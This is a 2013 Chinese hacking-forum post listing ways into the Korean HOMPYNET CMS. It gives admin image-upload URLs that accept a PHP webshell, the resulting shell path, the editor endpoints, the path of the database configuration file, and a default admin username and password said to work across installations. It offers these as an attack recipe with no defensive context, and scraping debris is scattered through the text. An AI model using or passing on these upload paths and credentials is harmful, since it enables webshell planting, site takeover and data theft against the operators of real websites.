找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2456|回复: 0
打印 上一主题 下一主题

韩国HOMPYNET CMS漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-14 20:12:26 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上传漏洞  :/ H+ R2 b1 P# R1 ^! p; ~/ j; a

) l6 E6 X9 L" w  q3 ]" Hhttp://www.xxx.com/admin/image_a ... p;iname=&iform=
: i: P/ o" L0 j$ f' X, ^
& a8 Q0 g* Q4 M' ?http://www.xxx.com/admin/image_a ... p;iname=&iform=: p) J& b7 Y! h* i* [3 Q' M0 [
/ e8 [, J  k: t% i( E: u' U
上传后路径:6 \3 ]$ s2 W6 R+ l
8 z  b/ D! B5 t: ?4 r/ U- m
http://www.xxx.com/bis_web_page/images/shell.php.en
7 Q/ k# r6 T. r% d4 p9 \% \: u3 S3 k) U/ l) Z+ M: i* Q, B
编辑器:
- K2 U9 K% j$ i& r/ H5 ?$ `( L( T
http://www.xxx.com/admin/editor/SWE.php
# R- }: q0 H! c1 c7 Z
8 ^+ R2 W% s* P5 l. p3 M; Q' [http://www.xxx.com/program/editor/SWE.php8 @/ [5 `9 E: W( z

/ R: \1 x/ V" g3 K, y( _数据配置文件路径:% G, Q' ^+ X) }$ o- P2 N+ b
- H+ ~8 N4 s4 [+ |: _( ^# [$ n
http://www.xxx.com/m_config/DATA/g_setting.php
7 v1 R( u6 Q8 Q! n; x  ?
( W* ]+ }  \& Q5 |+ R0 }3 v' M此程序通用后台账号 :gamsiw  php99# _( J5 M' M2 w3 }$ T) M1 h

1 q# x1 t4 b2 @) e/ q​
0 j" I' C' g9 p7 g
: s' C% n1 P4 u( `9 J
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表